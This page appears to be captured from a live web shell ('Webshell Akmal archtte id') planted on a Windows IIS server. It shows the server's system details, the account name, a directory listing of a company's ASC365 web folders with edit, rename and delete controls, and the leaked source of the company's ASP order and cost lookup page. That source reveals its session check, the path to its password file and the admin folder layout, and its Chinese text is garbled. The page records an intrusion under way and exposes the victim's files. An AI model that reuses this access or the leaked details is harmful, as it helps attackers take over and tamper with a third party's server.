Webshell Akmal archtte id
System:
Microsoft Windows NT 10.0.20348.0
Server:
Microsoft-IIS/10.0
User:
buyyou
Directory:
C:
\
MyData
\
WWW
\
asc365
\
Name
Size
Type
Actions
ASC365_CANADA
-
Directory
Rename
Delete
ASC365_Store01
-
Directory
Rename
Delete
aspnet_client
-
Directory
Rename
Delete
CompanyImage
-
Directory
Rename
Delete
TJGS_USA
-
Directory
Rename
Delete
zhijian
-
Directory
Rename
Delete
Memo.inc
0 bytes
.inc
Edit
Rename
Delete
web.config
213 bytes
.config
Edit
Rename
Delete
<html> <% loginnumber=session("Webpassed") if loginnumber<>"%asc365com%" then response.End() end if %> <head> <style>a{TEXT-DECORATION:none}</style> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>���ô�ASC365��˾���˶����ɱ���ѯϵͳ</title> <% Thispage ="http://" & Request.ServerVariables("SERVER_NAME") & ":" & Request.ServerVariables("Server_Port") & Request.ServerVariables("URL") Set fs=Server.CreateObject("Scripting.FileSystemObject") If (fs.FileExists(Server.MapPath("PW.PW")))=true then Set f=fs.OpenTextFile(Server.MapPath("PW.PW"), 1) Session.Timeout=500 PW1=trim(f.ReadLine) for i=1 to 6 f.ReadLine next PWGSMC=trim(f.ReadLine) if lcase(PW1)<> lcase(Session("ADPW1")) then Nextpage = Replace(lcase(Thispage),"dhcb_03.asp","PW.asp") Response.Redirect (Nextpage) end if f.Close Set f=Nothing else Nextpage = Replace(lcase(Thispage),"dhcb_03.asp","PW.asp") Response.Redirect (Nextpage) end if Set fs=Nothing Function YYMMDD(YMD) Y_Y = DatePart("yyyy",YMD) M_M = DatePart("m",YMD) : If Len(M_M) < 2 Then M_M = "0" & M_M D_D = DatePart("d",YMD) : If Len(D_D) < 2 Then D_D = "0" & D_D H_H = DatePart("h",YMD) : If Len(H_H) < 2 Then H_H = "0" & H_H N_N = DatePart("n",YMD) : If Len(N_N) < 2 Then N_N = "0" & N_N S_S = DatePart("s",YMD) : If Len(S_S) < 2 Then S_S = "0" & S_S YYMMDD = Y_Y & M_M & D_D & H_H & N_N & S_S end function %> </head> <body> <div align="center"> <% Thispage ="http://" & Request.ServerVariables("SERVER_NAME") & ":" & Request.ServerVariables("Server_Port") & Request.ServerVariables("URL") Set fs=Server.CreateObject("Scripting.FileSystemObject") %> <div align="center"><b><font color="#669900" face="Verdana" size="4">���ô�ASC365��˾������ʷ�����ɱ���ѯ</font><br><br></b></div> <br> <br> <% 'dim DHMX(2000,13) '������ϸ:0���롢1���ơ�2��λ��3���������4���ٿ�桢5��;������6����������7˵����8��9���ۣ��ܴ������10��11���ۣ����ô�12��� dim DHMX(2000,13) '������ϸ:0���롢1���ơ�2��λ��3���������4���ٿ�桢5��;������6����������7ʵ�ʵ���������8˵����9���ۣ��ܴ������10��11���ۣ����ô�12��� dim DHMXJS dim DHBZ Dim SUBFOLDERNAME(100) Dim SUBFOLDERNUM Dim FILENAME(500) Dim FILENUM Dim DHJE '������� Dim JHJE '������� Dim JSJE '������ Dim JSJE_SD '������_ʵ�� for i=0 to 100 SUBFOLDERNAME(i)=null next Temp=Server.MapPath("..\..\Admin") & "\CPDGGL\" '��Ʒ��������Ŀ¼ set fo=fs.GetFolder(Temp) SUBFOLDERNUM=0 for each x in fo.SubFolders SUBFOLDERNAME(SUBFOLDERNUM)=x.Name & "���ջ���" SUBFOLDERNUM=SUBFOLDERNUM+1 next set fo=nothing %> <table border="0" width="1100" height="5" style="border-collapse: collapse"> <% II=0 for i= 0 to SUBFOLDERNUM-1 step 5 response.write "<tr>" for jj= 1 to 5 response.write "<td height='5' width='1050' bgcolor='#EEEEEE'><font size='3' >" response.write "<a href='"& Thispage & "?LL="& left(SUBFOLDERNAME(II),4)& "'>" response.write SUBFOLDERNAME(II) &"</a></td>" :II=II+1 next response.write"</tr>" next '--------------------------------------end------------------------------------ %> </table> <br> <% LLP=Request.Querystring("LL") if len(LLP)<>0 then for i=0 to 12 FILENAME(i)=null next Temp=Server.MapPath("..\..\Admin") & "\CPDGGL\" & LLP & "\" '��Ʒ��������Ŀ¼ set fo=fs.GetFolder(Temp) FILENUM=0 for each x in fo.files Namee=x.Name if lcase(right(Namee,4))=".sss" then FILENAME(FILENUM)=Namee 'Mid(Namee,11,8) FILENUM=FILENUM+1 end if next set fo=nothing for i_0=0 to FILENUM-2 for j_0=i_0+1 to FILENUM-1 if mid(FILENAME(i_0),11,14)>mid(FILENAME(j_0),11,14) then ij_0=FILENAME(i_0) FILENAME(i_0)=FILENAME(j_0) FILENAME(j_0)=ij_0 end if next next end if %> <table border="0" width="1100" height="5" style="border-collapse: collapse"> <% II=4 for i= 0 to FILENUM-1 if II=4 then response.write "<tr>" II=0 end if if len(FILENAME(i))<>0 then response.write "<td height='5' width='1050' bgcolor='#FFFFee'><font size='2' >" response.write"<a href='"& Thispage & "?LL=" response.write LLP & "&LN=" response.write FILENAME(i)& "'>" response.write Mid(FILENAME(i),11,4)&"��"&Mid(FILENAME(i),15,2)&"��"&Mid(FILENAME(i),17,2)&"��"&Mid(FILENAME(i),19,2)&"ʱ"&Mid(FILENAME(i),21,2)&"��"&Mid(FILENAME(i),23,2)&"���ջ���" & "</a></td>" II=II+1 end if if II=4 then response.write "</tr>" end if next if II<>4 then response.write "</tr>" end if response.write "<br>" '-------------------------------------end------------------------------------- %> </table> <br> <% LLN= Request.Querystring("LN") if len(LLN)<>0 then response.write "<font color='#FF0000'>"&"������ʾ����: " & Mid(LLN,1,4)&"��"&Mid(LLN,5,2)&"��"&Mid(LLN,7,2)&"�շ�����"&Mid(LLN,11,4)&"��"&Mid(LLN,15,2)&"��"&Mid(LLN,17,2)&"��"&Mid(LLN,19,2)&"ʱ"&Mid(LLN,21,2)&"��"&Mid(LLN,23,2)&"���յ��Ļ����嵥 </font><br>" response.write "<br>" Temp=Server.MapPath("..\..\Admin") & "\CPDGGL\" & LLP & "\" & LLN If (fs.FileExists(Temp))=true then Set f=fs.OpenTextFile(Temp, 1) DHMXJS=0 do while f.AtEndOfStream = false YYXX=Trim(f.ReadLine) if len(YYXX)<>0 then if left(YYXX,2)="@@" then YYXX=right(YYXX,len(YYXX)-2) str=Split(YYXX,"|") for II=0 to Ubound(str) DHMX(DHMXJS,II)=str(II) next if len(DHMX(DHMXJS,9))=0 then DHMX(DHMXJS,9)=0 if len(DHMX(DHMXJS,10))=0 then DHMX(DHMXJS,10)=0 if len(DHMX(DHMXJS,11))=0 then DHMX(DHMXJS,11)=0 if len(DHMX(DHMXJS,12))=0 then DHMX(DHMXJS,12)=0 DHMXJS=DHMXJS+1 else DHBZ=DHBZ & YYXX &chr(13)&chr(10) end if end if loop f.Close: Set f=Nothing end if response.write "<table border='1' width='1100' height='20' style='border-collapse: collapse' bordercolor='#e0e0e0'>" response.write "<tr>" response.write "<td width='70' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>��Ʒ����</td>" response.write "<td width='400' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>�� Ʒ �� ��</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>��λ</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>���ٿ��</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>�������</td>" ' response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>��;����</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>��������</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>ʵ������</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>�������</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>������</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>���㵥��</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>������</td>" response.write "<td width='220' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>˵ ��</td>" response.write "</tr>" DHJE=0 JHJE=0 JSJE=0 '������ JSJE_SD=0 '������_ʵ�� for js=0 to DHMXJS-1 jj=0 response.write "<tr>" response.write "<td width='70' height='20' align='center' valign='middle'>" & DHMX(JS,0) &"</td>" response.write "<td width='400' height='20' align='left' valign='middle'>" & DHMX(JS,1) &"</td>" response.write "<td width='40' height='20' align='center' valign='middle'>" & DHMX(JS,2) &"</td>" response.write "<td width='40' height='20' align='center' valign='middle'>" & DHMX(JS,4) &"</td>" response.write "<td width='40' height='20' align='center' valign='middle'>" & DHMX(JS,3) &"</td>" ' response.write "<td width='40' height='20' align='center' valign='middle'>" & DHMX(JS,5) &"</td>" response.write "<td width='40' height='20' align='center' valign='middle'>" & DHMX(JS,6) &"</td>" response.write "<td width='40' height='20' align='center' valign='middle'>" & DHMX(JS,7) &"</td>" response.write "<td width='40' height='20' align='center' valign='middle'>" & DHMX(JS,9) &"</td>" response.write "<td width='40' height='20' align='center' valign='middle'>" & DHMX(JS,10) &"</td>" response.write "<td width='40' height='20' align='center' valign='middle'>" & DHMX(JS,11) &"</td>" response.write "<td width='40' height='20' align='center' valign='middle'>" & DHMX(JS,12) &"</td>" response.write "<td width='220' height='20'><input type='text' name='TT2' size='30' value='" & DHMX(JS,8) &"'></td>" DHJE=Round((DHJE*1+DHMX(JS,10)*1),2) JHJE=Round((JHJE*1+DHMX(JS,9)*DHMX(JS,7)),2) JSJE=Round((JSJE*1+DHMX(JS,12)*1),2) JSJE_SD=Round((JSJE_SD*1+DHMX(JS,11)*DHMX(JS,7)),2) next response.write "<tr>" response.write "<td width='70' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>��Ʒ����</td>" response.write "<td width='400' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>�� Ʒ �� ��</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>��λ</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>���ٿ��</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>�������</td>" ' response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>��;����</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>��������</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>ʵ������</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>�������</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>������</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>���㵥��</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>������</td>" response.write "<td width='220' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>˵ ��</td>" response.write "</tr>" response.write "<tr>" response.write "<td width='1100' height='20' colspan='12' bgcolor='#800000' align='center' valign='middle'>�� ע</td>" response.write "</tr>" response.write "<tr>" response.write "<td width='1100' height='80' colspan='12' align='center' valign='middle'><textarea rows='6' cols='155' name='s0'>" & DHBZ &"</textarea></td>" response.write "</tr>" response.write "<tr>" response.write "<td width='1100' height='20' colspan='12' bgcolor='#800000' align='center' valign='middle'><font color='#FFFFFF'>�˴ζ������ϼƣ�������" & DHJE & " �˴�ʵ�ʵ������ϼƣ�������" & JHJE & "</font></td>" response.write "</tr>" response.write "<tr>" response.write "<td width='1100' height='20' colspan='12' bgcolor='#800000' align='center' valign='middle'><font color='#FFFFFF'>�˴ν�����ϼƣ�������" & JSJE & " �˴�ʵ�ʵ���������ϼƣ�������" & JSJE_SD & "</font></td>" response.write "</tr>" response.write "</table>" end if Set fs=Nothing %> <table border="0" width="800" height="48"> <tr> <td height="18" width="794"><p align="center"><font color="#800000" size="4"><b>�� ��</b></font></td> </tr> <tr> <td height="24" width="794"> <p align="left"><font face="Verdana" size="2" color="#800000">��ҳ�����ڼ��ô��ջ���ʷ��ѯ��<br> <span lang="en-us"> </span>1������г����ջ����ڣ���������ջ������ϸ��<br> 2�����²���ʾ�˴ζ������ϼƺʹ˴�ʵ�ʵ������ϼơ�<br> 3��ע�⡪�����еĿ�����������ٿ�桢��;������Ϊ����ʱ��ʵ������������ջ�ʱ��ʵ�������</font></td> </tr> </table> </div> </body> </html>